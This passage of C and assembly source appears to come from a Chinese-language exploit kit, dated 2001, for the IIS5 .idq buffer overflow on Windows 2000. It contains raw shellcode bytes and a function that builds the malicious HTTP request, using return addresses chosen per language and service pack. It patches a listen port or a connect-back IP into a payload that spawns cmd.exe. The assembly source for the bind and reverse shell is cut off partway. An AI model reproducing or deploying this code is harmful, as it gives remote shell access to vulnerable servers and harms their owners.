"\xBD\x10\xFF\xFF\xFF\x8D\x1F\x33\xC0\xB0\x02\x66\x89\x03\x58\x80\xF9\x01\x75\x69\x50\x50\x8B\x42\x04\xE8\x31\xFF\xFF\xFF\x8B\xC8\x86\xE9\x58\x8D\x5F\x02\x8B\x55\x0C\x66\x89\x0B\x33\xC0\x8D\x5F\x04\x89\x03\x58\x50\x33\xC9\xB1\x10\x51\x57\x50\x8B\x46\x3C\xFF\xD0\xEB\x02\xEB\x4D\x58\x50\x33\xC9\x41\x51\x50\x8B\x46"
"\x40\xFF\xD0\x58\x50\x33\xC9\xB1\x10\x8D\xBD\x40\xFF\xFF\xFF\x89\x0F\x57\x8D\xBD\x10\xFF\xFF\xFF\x57\x50\x8B\x46\x44\xFF\xD0\x5A\x50\x52\x8B\x46\x58\xFF\xD0\x58\x83\xF8\xFF\x74\x7A\xEB\x53\x50\x8B\x42\x10\xE8\xC9\xFE\xFF\xFF\x8B\xC8\x86\xE9\x8D\x5F\x02\x66\x89\x0B\xEB\x02\xEB\x6A\x8B\x42\x08\xE8\xB3\xFE\xFF\xFF"
"\x8B\xC8\xC1\xE1\x10\x8B\x42\x0C\xE8\xA6\xFE\xFF\xFF\x66\x8B\xC8\x8D\x5F\x04\x89\x0B\x58\x50\x33\xC9\xB1\x10\x51\x57\x50\x8B\x46\x5C\xFF\xD0\x8B\xC8\x58\x67\xE3\x0B\x90\x50\x8B\x46\x58\xFF\xD0\x33\xC0\xEB\x25\x50\x50\x5A\x8D\xBD\x10\xFF\xFF\xFF\x33\xC0\xB0\x01\x89\x07\xC1\xE0\x02\x50\x57\x66\xB8\x06\x10\x50\x66"
"\xB8\xFF\xFF\x50\x52\x8B\x46\x50\xFF\xD0\x58\x5B\x59\x5A\x5F\x5E\x8B\xE5\x5D\xC3\xEB\x62\x55\x8B\xEC\x57\x56\x52\x51\x53\x50\x8B\x7D\x0C\x57\x5A\x33\xC0\x8D\x7F\x24\x57\x33\xC9\xB1\x44\xF3\xAA\x5F\x8D\x37\xB1\x44\x89\x0E\x8D\x77\x2C\x66\xB9\x01\x01\x89\x0E\x57\x8D\x7F\x38\x8D\x72\x0C\x8B\x06\x89\x07\x5F\x57\x8D"
"\x7F\x3C\x8D\x72\x04\x8B\x06\x89\x07\x5F\x8B\x75\x08\x8B\x46\x30\xFF\xD0\x33\xC9\x51\x41\x51\x41\x51\x8D\x57\x40\x52\x50\x56\x8B\x75\x0C\x8D\x76\x04\x8B\x1E\x5E\xEB\x02\xEB\x42\x53\x50\x8B\x46\x2C\xFF\xD0\x33\xC0\x8B\x7D\x0C\x8D\x57\x14\x52\x8D\x57\x24\x52\x50\x50\x50\x40\x50\x48\x50\x50\x8B\x55\x10\x52\x50\x8B"
"\x46\x0C\xFF\xD0\x8B\x47\x0C\x50\x8B\x46\x34\xFF\xD0\x8B\x47\x04\x50\x8B\x46\x34\xFF\xD0\x58\x5B\x59\x5A\x5E\x5F\x8B\xE5\x5D\xC3\xEB\x33\x55\x8B\xEC\x56\x57\x52\x51\x53\x50\x8B\x75\x08\x8B\x7D\x0C\x8B\x47\x10\x50\x8B\x46\x58\xFF\xD0\x8B\x07\x50\x8B\x46\x34\xFF\xD0\x8B\x47\x08\x50\x8B\x46\x34\xFF\xD0\x58\x5B\x59"
"\x5A\x5F\x5E\x8B\xE5\x5D\xC3\xEB\x77\x55\x8B\xEC\x33\xC0\x66\xB8\xF0\x02\x2B\xE0\x56\x57\x52\x51\x53\x8B\x75\x08\x8B\x7D\x0C\x8D\x55\xF8\x33\xC0\x40\x89\x02\x8D\x55\xF8\x8B\x02\x85\xC0\x74\x2A\x33\xC0\x50\xB0\xF0\x50\x8D\x85\x08\xFF\xFF\xFF\x50\x8D\x5F\x10\x8B\x03\x50\x8B\x46\x4C\xFF\xD0\x83\xF8\xFF\x75\x0F\x50"
"\x5A\x8B\x46\x28\xFF\xD0\x66\x3D\x4C\x27\x74\x28\xEB\x7F\x85\xC0\x74\x7B\x7E\x20\x33\xD2\x52\x8D\x5D\xFC\x53\x50\x8D\x9D\x08\xFF\xFF\xFF\x53\x8B\x47\x08\x50\x8B\x46\x18\xFF\xD0\x85\xC0\x74\x5D\xEB\x02\xEB\x62\x33\xC0\x50\x8D\x55\xFC\x52\x50\x50\x50\x8B\x07\x50\x8B\x46\x10\xFF\xD0\x8B\x45\xFC\x85\xC0\x74\x3B\x33"
"\xC0\x50\x8D\x55\xFC\x52\xB0\xF0\x50\x8D\x95\x08\xFF\xFF\xFF\x52\x8B\x07\x50\x8B\x46\x1C\xFF\xD0\x85\xC0\x74\x23\x33\xC0\x50\x8B\x45\xFC\x50\x8D\x95\x08\xFF\xFF\xFF\x52\x8B\x47\x10\x50\x8B\x46\x48\xFF\xD0\x83\xF8\xFF\x74\x07\xEB\xAC\xE9\x4C\xFF\xFF\xFF\x5B\x59\x5A\x5F\x5E\x8B\xE5\x5D\xC3\xEB\x72\x55\x8B\xEC\x33"
"\xC0\xB0\xF0\x2B\xE0\x56\x57\x52\x51\x53\x8B\x75\x08\x8B\x7D\x0C\x33\xDB\x8D\x7D\xF0\x8D\x57\x04\x89\x1A\x8D\x57\x08\x43\x89\x1A\x8D\x17\xB3\x0C\x89\x1A\x33\xDB\x57\x53\x57\x8B\x7D\x0C\x8D\x57\x04\x89\x1A\x52\x8D\x17\x52\x8B\x46\x04\xFF\xD0\x5F\x85\xC0\x74\x1F\x33\xDB\x53\x57\x8B\x7D\x0C\x8D\x57\x08\x52\x8D\x57"
"\x0C\x89\x1A\x52\x8B\x46\x04\xFF\xD0\x85\xC0\x74\x05\x33\xC0\x40\xEB\x05\x33\xC0\xEB\x01\x90\x5B\x59\x5A\x5F\x5E\x8B\xE5\x5D\xC3\x8D\x34\x24\x8B\x36\x33\xC9\x66\xB9\xCC\x04\x03\xF1\x8D\xBD\x30\xFE\xFF\xFF\x57\x66\xB9\xFA\x01\xF3\xA4\x5F\x57\x33\xC9\x51\xB1\x2B\x51\x66\xB9\xE6\x01\x51\x33\xDB\xB3\x14\x03\xFB\x57"
"\xE8\xCC\xFB\xFF\xFF\x83\xC4\x10\x33\xC9\x66\xB9\xDD\x01\x8B\xF7\x03\xF1\x8B\x46\x04\x50\x8B\x06\x50\x57\x8D\xB5\x30\xFD\xFF\xFF\x56\xE8\xF6\xFB\xFF\xFF\x83\xC4\x10\x5F\x57\x56\xE8\x3C\xFC\xFF\xFF\x83\xC4\x08\x85\xC0\x74\x57\x8D\xBD\x10\xFC\xFF\xFF\x8D\x5F\x10\x89\x03\x57\x56\xE8\x16\xFF\xFF\xFF\x83\xC4\x08\x85"
"\xC0\x74\x3E\x8D\xBD\x30\xFE\xFF\xFF\x33\xC0\xB0\x14\x03\xF8\x57\x8D\xBD\x10\xFC\xFF\xFF\x57\x56\xE8\x3B\xFD\xFF\xFF\x83\xC4\x0C\x57\x56\xE8\x0E\xFE\xFF\xFF\x83\xC4\x08\x57\x56\xE8\xCF\xFD\xFF\xFF\x83\xC4\x08\x33\xC0\x50\x8D\x57\x14\x8B\x02\x50\x8B\x06\xFF\xD0\x33\xC0\x50\x8B\x46\x24\xFF\xD0\xC3\x8B\xE5\x5D\x90"
"\x90\x02\xFF\xFF\xFF\x51\x01\x01\x02\x01\x02\x25\x01\xC0\x01\xA8\x01\x58\x01\x01\x02\x63\x6D\x64\x2E\x65\x78\x65\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B
\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B
\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B"
"\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B
\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B
\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B
\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x02\x0E\x6B\x65\x72\x6E\x65"
"\x6C\x33\x32\x2E\x64\x6C\x6C\x2B\x2B\x0E\x11\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x2B\x0B\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x2B\x10\x47\x65\x74\x53\x74\x61\x72\x74\x75\x70\x49\x6E\x66\x6F\x41\x2B\x0F\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x41\x2B\x0E\x50\x65\x65\x6B"
"\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x2B\x0C\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x2B\x0B\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x2B\x2B\x09\x52\x65\x61\x64\x46\x69\x6C\x65\x2B\x06\x53\x6C\x65\x65\x70\x2B\x0C\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x2B\x0E\x47\x65\x74\x4C\x61\x73\x74\x45\x72\x72\x6F\x72"
"\x2B\x2B\x10\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x48\x61\x6E\x64\x6C\x65\x2B\x12
\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x50\x72\x6F\x63\x65\x73\x73\x2B\x0C\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64\x6C\x65\x2B\x0B\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x2B\x0B\x07\x73\x6F\x63\x6B\x65\x74\x2B\x05\x62\x69\x6E\x64\x2B"
"\x07\x6C\x69\x73\x74\x65\x6E\x2B\x07\x61\x63\x63\x65\x70\x74\x2B\x05\x73\x65\x6E\x64\x2B\x05\x72\x65\x63\x76\x2B\x0B\x73\x65\x74\x73\x6F\x63\x6B\x6F\x70\x74\x2B\x0B\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x2B\x0C\x63\x6C\x6F\x73\x65\x73\x6F\x63\x6B\x65\x74\x2B\x08\x63\x6F\x6E\x6E\x65\x63\x74\x2B\x0C\x67\x65\x74"
"\x68\x6F\x73\x74\x6E\x61\x6D\x65\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B
\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\x2B\xDB\x56\xE7\x77\x4B\x56\xE7\x77\x00";

//我的私有信息:
static const char szSnakeSign[]="snake_program_code_v2.0";

#define PREHEAD_NOP_SIZE 0x24

#define dwConnectType_Offset 1249+PREHEAD_NOP_SIZE
#define dwListenPort_Offset 1253+PREHEAD_NOP_SIZE
#define dwConnectIP1_Offset 1257+PREHEAD_NOP_SIZE
#define dwConnectIP2_Offset 1261+PREHEAD_NOP_SIZE
#define dwConnectPort_Offset 1265+PREHEAD_NOP_SIZE
#define dwExecCommand_Offset 1269+PREHEAD_NOP_SIZE
#define wExecCommandSize 128
#define dwGetModuleHandle_Offset 1746+PREHEAD_NOP_SIZE
#define dwGetProcAddress_Offset 1750+PREHEAD_NOP_SIZE

BYTE byReservedValue[]={ 0, 0x0a, 0x0d};

;//转换标准word -> snake ShellCode Reserve Value.
;//该 byte == 0, 0x0a, 0x0d,那么，高位为2. 低位 +1.
;// 高位 为1,低位不变.
DWORD Convert_Ansi_Word_To_Sk_Long(WORD wValue)
{
int iReservCount, i;
WORD wTemp;
DWORD dwRetValue = 0;
BOOL bFirst=true;

iReservCount = sizeof(byReservedValue)/sizeof(BYTE);

while(1){
wTemp = wValue&0xff00;
wTemp >>= 8;
for( i=0; i<iReservCount; i++){
if( wTemp == byReservedValue) break;
}
if( i == iReservCount)
wTemp |= 0x0100;
else{
wTemp++;
wTemp |= 0x0200;
}
dwRetValue |= wTemp;

if( bFirst){
bFirst = false;
dwRetValue <<= 16;
wValue <<=8;
}
else
break;
}
return dwRetValue;
}

typedef void (*SkRunPointer)();

//生成我的 IIS5 idq shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct
    *pConnectStruct, LPCTSTR lpszBindCmd)
{
char szBuf[2048];
char szOutput[10000], szCreateCode[10000];
char *p;

DWORD dwGetModuleHandle = 0, dwGetProcAddress=0,
    dwRetJmpEbx=0;
WORD wSelectValue = MAX_SYSTEM_TYPE_NUM;

switch( SystemType){
case IIS5_WIN2K_CHINESE_SP0:
wSelectValue = IIS5_WIN2K_CHINESE_SP0;
break;
case IIS5_WIN2K_CHINESE_SP1:
wSelectValue = IIS5_WIN2K_CHINESE_SP1;
break;
case IIS5_WIN2K_CHINESE_SP2:
wSelectValue = IIS5_WIN2K_CHINESE_SP2;
break;

case IIS5_WIN2K_ENGLISH_SP0:
wSelectValue = IIS5_WIN2K_ENGLISH_SP0;
break;
case IIS5_WIN2K_ENGLISH_SP1:
wSelectValue = IIS5_WIN2K_ENGLISH_SP1;
break;
case IIS5_WIN2K_ENGLISH_SP2:
break;

case IIS5_WIN2K_JAPANESE_SP0:
wSelectValue = IIS5_WIN2K_JAPANESE_SP0;
break;
case IIS5_WIN2K_JAPANESE_SP1:
wSelectValue = IIS5_WIN2K_JAPANESE_SP1;
break;
case IIS5_WIN2K_JAPANESE_SP2:
wSelectValue = IIS5_WIN2K_JAPANESE_SP2;
break;

case IIS_WIN2K_MEXICO_SP0:
wSelectValue = IIS_WIN2K_MEXICO_SP0;
break;
case IIS_WIN2K_MEXICO_SP1:
wSelectValue = IIS_WIN2K_MEXICO_SP1;
break;
case IIS_WIN2K_MEXICO_SP2:
wSelectValue = IIS_WIN2K_MEXICO_SP2;
break;
default:
break;
}

if( wSelectValue >= MAX_SYSTEM_TYPE_NUM) return 0;

dwGetModuleHandle = AllSystemFuncAddr[wSelectValue].dwGetModuleHandle;
dwGetProcAddress = AllSystemFuncAddr[wSelectValue].dwGetProcAddress;
dwRetJmpEbx = AllSystemFuncAddr[wSelectValue].dwRetJmpEbxAddr;

if( dwGetModuleHandle == 0) return 0;

memset( szBuf, 1, sizeof(szBuf));
memcpy( szBuf, szSnakeSign, strlen(szSnakeSign));
p = &(szBuf[IIS5_IDQ_EXCEPTION_OFFSET-2]);

wsprintf( p,"%s", forwardjump);
p += strlen((char *)forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
wsprintf( p, "%04x", (dwRetJmpEbx>>0)&0xffff);
p += 4;
*p ++ = '%';
*p ++ = 'u';
wsprintf( p, "%04x", (dwRetJmpEbx>>16)&0xffff);
p += 4;
*p++ = 1;
wsprintf( p, "%s", jump_to_shell);

//wsprintf( szOutput,"GET /n.idq?%s=b
    HTTP/1.0\r\nShell: %s\r\n\r\n", szBuf, szMyCode);
wsprintf( szOutput,"GET /n.idq?%s=b HTTP/1.0\r\nSnake: ", szBuf);

memcpy( szCreateCode, szSnakeBindShellCode, sizeof(szSnakeBindShellCode));

//将地址信息, 端口信息 写入 shellcode代码.

DWORD *pdw, dwTemp;
WORD wTemp;
char *lpsz, szExecTemp[wExecCommandSize];

//Init Value.
switch( pConnectStruct->byConnectType){
case LISTEN_ON_PORT:
szCreateCode[dwConnectType_Offset] = LISTEN_ON_PORT;
dwTemp = Convert_Ansi_Word_To_Sk_Long( pConnectStruct->wListenPort);
lpsz = &( szCreateCode[dwListenPort_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set listen port.
break;
case CONNECT_TO_HOST:
szCreateCode[dwConnectType_Offset] = CONNECT_TO_HOST;

wTemp = (WORD)( (pConnectStruct->dwConnectIP)
    & 0xffff);
dwTemp = Convert_Ansi_Word_To_Sk_Long( wTemp);
lpsz = &( szCreateCode[dwConnectIP2_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set IP1.

wTemp = (WORD)( ((pConnectStruct->dwConnectIP)
    & 0xffff0000) >> 16);
dwTemp = Convert_Ansi_Word_To_Sk_Long( wTemp);
lpsz = &( szCreateCode[dwConnectIP1_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set IP2.

dwTemp = Convert_Ansi_Word_To_Sk_Long( pConnectStruct->wConnectPort);
lpsz = &( szCreateCode[dwConnectPort_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwTemp; //set connect Port.
break;
default:
return 0;
}

lpsz = &( szCreateCode[dwGetModuleHandle_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwGetModuleHandle; //set dwGetModuleHandle.

lpsz = &( szCreateCode[dwGetProcAddress_Offset]);
pdw = (DWORD *)lpsz;
*pdw = dwGetProcAddress; //set dwGetProcAddress.

memset( szExecTemp, '+', wExecCommandSize);
wTemp = strlen( lpszBindCmd);
if(wTemp >= wExecCommandSize)
wTemp = wExecCommandSize-1;
strncpy( szExecTemp, lpszBindCmd, wTemp);

lpsz = &( szCreateCode[dwExecCommand_Offset]);
memcpy( lpsz, szExecTemp, wExecCommandSize);

strcat( szOutput, szCreateCode);
strcat( szOutput, "\r\n\r\n");

strcpy( pszOutput, szOutput);

return strlen( pszOutput);
}

//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize)
{
HANDLE hModule = GetModuleHandle("kernel32");
DWORD dwAddr_GetHandle, dwAddr_GetProcAddr;
char szOutput[11024], szJmpAddr[8124], szOne[20];
DWORD dwJmpEbx[100];
WORD wGetJmpCount,w;

wGetJmpCount = Search_Jump_Ebx_Code(dwJmpEbx, 100);
szJmpAddr[0] = 0;
for( w=0; w<wGetJmpCount; w++){
wsprintf( szOne," 0x%X", dwJmpEbx[w]);
strcat( szJmpAddr, szOne);
}

dwAddr_GetHandle = (DWORD)GetProcAddress( (HINSTANCE)hModule,"GetModuleHandleA");
dwAddr_GetProcAddr = (DWORD)GetProcAddress( (HINSTANCE)hModule, "GetProcAddress");
wsprintf( szOutput,"Addr1: 0x%X; Addr2: 0x%X\r\nJJ:%s",
dwAddr_GetHandle, dwAddr_GetProcAddr, szJmpAddr);
//MessageBox( NULL, szOutput, "topic", MB_OK);
strncpy( szInfo, szOutput, iMaxSize);
szInfo[iMaxSize-1] = 0;
}

#define JUMP_EBX_CODE 0xe3ff

//搜索JUMP_EBX的地址
WORD Search_Jump_Ebx_Code(DWORD *dwArray, WORD wMaxCount)
{
HANDLE hDllModule = GetModuleHandle("user32");

char *pValue;
WORD wTemp = JUMP_EBX_CODE;
DWORD dwMin = (DWORD)hDllModule,dwMax;
WORD wCount = 0;

pValue = (char*)dwMin;
wCount = 0;

dwMax = dwMin + 400000; //size is 39kb.
while( ( (DWORD)pValue) < dwMax){
if( *((WORD *)pValue) == JUMP_EBX_CODE){
dwArray[wCount++] = (DWORD)pValue;
if( wCount >= wMaxCount) break;
}
pValue++;
}
return wCount;
}

文件3. SkShellCodeFunc.h -- 必须的头文件
//SkShellCodeFunc.h
////////////////////////////////////////////////////////////////////////////////
// header file for 定义shellcode 函数
////////////////////////////////////////////////////////////////////////////////
// start by snake. 2001/7/11
////////////////////////////////////////////////////////////////////////////////

#ifndef _SNAKE_SHELLCODE_FUNC_HEADER_2001_7_11
#define _SNAKE_SHELLCODE_FUNC_HEADER_2001_7_11

enum SYSTEM_TYPE{
IIS5_WIN2K_CHINESE_SP0,
IIS5_WIN2K_CHINESE_SP1,
IIS5_WIN2K_CHINESE_SP2,

IIS5_WIN2K_ENGLISH_SP0,
IIS5_WIN2K_ENGLISH_SP1,
IIS5_WIN2K_ENGLISH_SP2,

IIS5_WIN2K_JAPANESE_SP0,
IIS5_WIN2K_JAPANESE_SP1,
IIS5_WIN2K_JAPANESE_SP2,

IIS_WIN2K_MEXICO_SP0,
IIS_WIN2K_MEXICO_SP1,
IIS_WIN2K_MEXICO_SP2,

MAX_SYSTEM_TYPE_NUM,
};

enum Sk_ConnectType{ CONNECTTYPE_NONE=0, LISTEN_ON_PORT=1, CONNECT_TO_HOST, MAX_CONNECT_TYPE};

typedef struct _ConnectStruct{
BYTE byConnectType;
WORD wListenPort;
DWORD dwConnectIP;
WORD wConnectPort;
}ConnectStruct;

//取得一个系统的名字.
LPCTSTR GetSystemName( SYSTEM_TYPE type);

#endif //_SNAKE_SHELLCODE_FUNC_HEADER_2001_7_11

文件4.iis_idq.asm --shellcode的汇编代码(编译不需要)
;//IIS5_idq.asm
.386p
.model flat,c

;//下面定义 连接 信息 结构.
stConnectInfo struct
byConnectType db 0 ;//=1, 监听; =2,连结外部ip/port.
byReserv1 db 1 ;//nothing just for Word Adjusted.
dwReserv1 dw 1 ;//nothing just for Word Adjusted.
dwListenPort dd 0 ;//DDWORD dwIP1+dwIP2;
dwIP1 dd 0 ;// //IP 和端口，一位用2位表示. 高位为类型,低位为值.
dwIP2 dd 0 ;// 1.高位 =1, 低位为普通value.
dwConnectPort dd 0 ;// 2.高位 = 2， 低位 应该 = value -1
stConnectInfo ends

;//用到的函数 结构
SkOverflowFuncAddr struct
TerminateProcess dd 0;
CreatePipe dd 0;
GetStartupInfoA dd 0;
CreateProcessA dd 0;
PeekNamedPipe dd 0;
GlobalAlloc dd 0;
WriteFile dd 0;
ReadFile dd 0;
Sleep dd 0;
ExitProcess dd 0;
GetLastError dd 0;
DuplicateHandle dd 0;
GetCurrentProcess dd 0;
CloseHandle dd 0;
socket dd 0;
bind dd 0;
listen dd 0;
accept dd 0;
send dd 0;
recv dd 0;
setsockopt dd 0;
WSAStartup dd 0;
closesocket dd 0;
connect dd 0;
gethostname dd 0;
SkOverflowFuncAddr ends

STARTUPINFO struct
cb dd 0;
lpReserved dd 0;
lpDesktop dd 0;
lpTitle dd 0;
dwX dd 0;
dwY dd 0;
dwXSize dd 0;
dwYSize dd 0;
dwXCountChars dd 0;
dwYCountChars dd 0;
dwFillAttribute dd 0;
dwFlags dd 0;
wShowWindow dw 0;
cbReserved2 dw 0;
lpReserved2 dd 0;
hStdInput dd 0;
hStdOutput dd 0;
hStdError dd 0;
STARTUPINFO ends

PROCESS_INFORMATION struct
hProcess dd 0;
hThread dd 0;
dwProcessId dd 0;
dwThreadId dd 0;
PROCESS_INFORMATION ends;

;//管套 - 命令交互 结构
Shell_Cmd_Pipe struct
hReadPipe dd 0;
ShellStdoutPipe dd 0;
hWritePipe dd 0;
ShellStdinPipe dd 0;
msocket dd 0;
ProcessInformation PROCESS_INFORMATION <>;
nstartupinfo STARTUPINFO <>;
Shell_Cmd_Pipe ends

SIZE_OF_TEMP_BUFFER equ 0f0h
;//接受，写管套数据结构.
Recv_Write_Socket_Pipe_Data struct
szTemp db SIZE_OF_TEMP_BUFFER dup(0)
dwBreak DD 0
dwTemp DD 0
Recv_Write_Socket_Pipe_Data ends;

SOCKADDR_IN struct
sin_family dw 0;
sin_port dw 0;
sin_addr dd 0;
sin_zero db 8 dup(0);
SOCKADDR_IN ends

SECURITY_ATTRIBUTES struct
nLength DD 0;
lpSecurityDescriptor DD 0;
bInheritHandle DD 0;
SECURITY_ATTRIBUTES ends;

FUNC_PARAM_1 equ [ebp+8]
FUNC_PARAM_2 equ [ebp+0ch]
FUNC_PARAM_3 equ [ebp+10h]
FUNC_PARAM_4 equ [ebp+14h]
FUNC_PARAM_5 equ [ebp+18h]
FUNC_PARAM_6 equ [ebp+1ch]
FUNC_PARAM_7 equ [ebp+20h]

SO_RCVTIMEO equ 1006h ;// receive timeout
SOL_SOCKET equ 0ffffh ;// options for socket level

Shell_Cmd_Pipe_OFFSET equ 3f0h
SkOverflowFuncAddr_OFFSET equ 2d0h
szShellNeedFunc_OFFSET equ 1d0h

.code
public _sk_Bind_ConnectShellCode
public _GetDataSetOffset_Value
start:
_sk_Bind_ConnectShellCode proc
push ebp;
mov ebp, esp;
;//产生 0x800的堆栈 空间.
xor eax,eax;
inc eax;
shl eax, 0bh; //=>0x800
sub esp, eax;

jmp call_back;
nop;
jump_next:
jmp run_actual1;
call_back:
call jump_next;
call_back_Data_Offset:
;//jmp quit_return; //not run here as no necessary.
;//(void *ptr, int iLen, DWORD dwOld, DWORD dwNew)
_Convert_Add_Sign_To_Null_Sign:
push ebp;
mov ebp, esp;

push edi;
push ecx;
push eax;
push edx;

mov edi, FUNC_PARAM_1; //第1个参数.
mov ecx, FUNC_PARAM_2; //第2个参数.
mov eax, FUNC_PARAM_3; //第3个参数.
mov edx, FUNC_PARAM_4; //第4个参数.

;//重复查找，替换，直到cx = 0
NextAddSign:
repnz scasb;
jcxz Finish_Replace_Add_Sign;

dec edi;
mov byte ptr [edi], dl;
inc ecx;
jmp NextAddSign;
Finish_Replace_Add_Sign:
pop edx;
pop eax;
pop ecx;
pop edi;

pop ebp;
ret;
;//转换eax的long -> ax 标准word.
;//rule: 1.高位 =1, 低位为普通value.
;// 2.高位 = 2， 低位 应该 = value -1
_convert_Sk_Long_To_Ansi_Word:
push ebx;
push ecx;
push edx;

xor edx, edx;

push eax; //低位 ->ebx
pop ebx;
shr ebx, 10h;

push eax; //高位 -> ecx
pop ecx;
_Convert_bx_To_al_Short:
;//处理ebx.
cmp bh, 1;
je _convert_Sk_Long_IsNormal;
dec bl;

_convert_Sk_Long_IsNormal:
mov al, bl;

test edx, edx;
jnz Finish_Convert_Next_Bit;

shl eax, 8;
push ecx;
pop ebx;

inc edx;
jmp _Convert_bx_To_al_Short

Finish_Convert_Next_Bit:
pop edx;
pop ecx;
pop ebx;
ret;
run_actual1:
jmp run_actual2;
;//从 szShellNeedFunc 取得 SkOverflowFuncAddr的地址
;//void _Get_Overflow_Addr_From_Shell_Func( void *SkOverflowFuncAddr,
;// char *ShellNeedFuncStr,
;// DWORD dwGetModuleHandleAddr,
;// DWORD dwGetProcAddr)
;
_Get_Overflow_Addr_From_Shell_Func:
push ebp;
mov ebp, esp;

push esi;
push edi;
push edx;
push ecx;
push ebx;
push eax;

mov edi, FUNC_PARAM_1; //第1个参数
mov esi, FUNC_PARAM_2; //第2个参数

xor ebx,ebx;
xor ecx,ecx;
mov cl,SHELL_NEED_FUNC_BODY_OFFSET;
add esi, ecx; //esi = szShellCodeNeedFunc+SHELL_NEED_FUNC_BODY_OFFSET

mov cl, byte ptr [esi];
inc esi;
_NextDllNameToLoad:
push ecx;

mov bl, byte ptr [esi];
inc esi; //skip size.

push esi;

mov eax, FUNC_PARAM_3; //第3个参数.
;//mov eax, GetModuleHandleA_Addr; //GetModuleHandleA

call eax;

add esi, ebx; //go to next address.
;//现在,esi指向 函数 数目.
xor ecx, ecx;
mov cl, byte ptr [esi];
inc esi;

;//现在,load每个function.
_NextFunction_Addr:
push ecx;

;//取字符串的大小
mov bl, byte ptr [esi];
inc esi;

push eax;
push esi;

push esi; //procName
push eax; //module

mov ecx, FUNC_PARAM_4; //第3个参数.
;//mov eax, GetModuleHandleA_Addr; //GetModuleHandleA
call ecx;

mov dword ptr [edi], eax;
add edi, 4;

pop esi;
pop eax;

add esi, ebx; //指针移动到下一个字符串.

pop ecx;
loop _NextFunction_Addr;

pop ecx;
loop _NextDllNameToLoad;

pop eax;
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

pop ebp;
ret;
run_actual2:
jmp run_actual3_1;
;//创建 一个管套，监听一个端口，返回该管套.
;//SOCKET _Create_Bind_Connect_Socket_To_Port( SkOverflowFuncAddr *pFuncAddr, szShellNeedFunc *pNeedFunc);
_Create_Bind_Connect_Socket_To_Port:
push ebp;
mov ebp, esp;

xor eax, eax; //开辟0xff(256)个byte的变量区域.
mov ax, 3f0h
sub esp, eax;

push esi;
push edi;
push edx;
push ecx;
push ebx;

mov esi, FUNC_PARAM_1; //第一个参数.

;//WSAStartup(werd,&wsd);
lea edi, [ebp-340h]; //开辟个空间做临时变量.
xor eax, eax;
mov al,2;
push edi;
push eax;
mov eax, [esi+SkOverflowFuncAddr.WSAStartup];
call eax;

;//msocket = socket( AF_INET, SOCK_STREAM,
    0); = (2,1,0)
xor eax, eax;
push eax;
inc eax;
push eax;
inc eax;
push eax;

mov eax, [esi+SkOverflowFuncAddr.socket];
call eax;

;//取连结类型
mov edx, FUNC_PARAM_2;
lea ebx, [edx+stConnectInfo.byConnectType];
mov cl, BYTE PTR [ebx];

push eax;
;//准备参数 SOCKADDR_IN
lea edi, [ebp-0f0h]; //现在是sockaddr_in的地址.
lea ebx, [edi + SOCKADDR_IN.sin_family];
xor eax, eax;
mov al,2;
mov word ptr [ebx], ax; //SOCKADDR_IN.sin_family = AF_INET
pop eax;

;//现在寄存器状况..
;//edi --- 临时变量 sockaddr_in, (sin_family = AF_INET 被赋值)
;//edx --- 参数2 stConnectInfo 连结信息
;//eax --- 创建的管套 newsocket.
;//esi --- 参数1 SkOverflowFuncAddr 函数地址.

cmp cl,1 ;//是监听吗?
jne _IsConnectToIP; //no. 跳转.

push eax; // <-2@

;//取得端口value.
push eax; // <-1@

mov eax, [edx+stConnectInfo.dwListenPort];
call _convert_Sk_Long_To_Ansi_Word;
mov ecx, eax;
xchg ch,cl; //port = htons(port)

pop eax; // ->1@

lea ebx, [edi + SOCKADDR_IN.sin_port];
mov edx, FUNC_PARAM_2; //第2个参数.
mov word ptr [ebx], cx; //SOCKADDR_IN.sin_port = port.

xor eax, eax;
lea ebx, [edi + SOCKADDR_IN.sin_addr];
mov dword ptr [ebx], eax; //SOCKADDR_IN.sin_addr.S_un.S_addr = INADDR_ANY

pop eax; // ->2@
push eax; //<-3@

;//bind( msocket, (SOCKADDR *)&addrin,
    sizeof(addrin));
xor ecx, ecx;
mov cl, size sockaddr_in;
push ecx;
push edi;
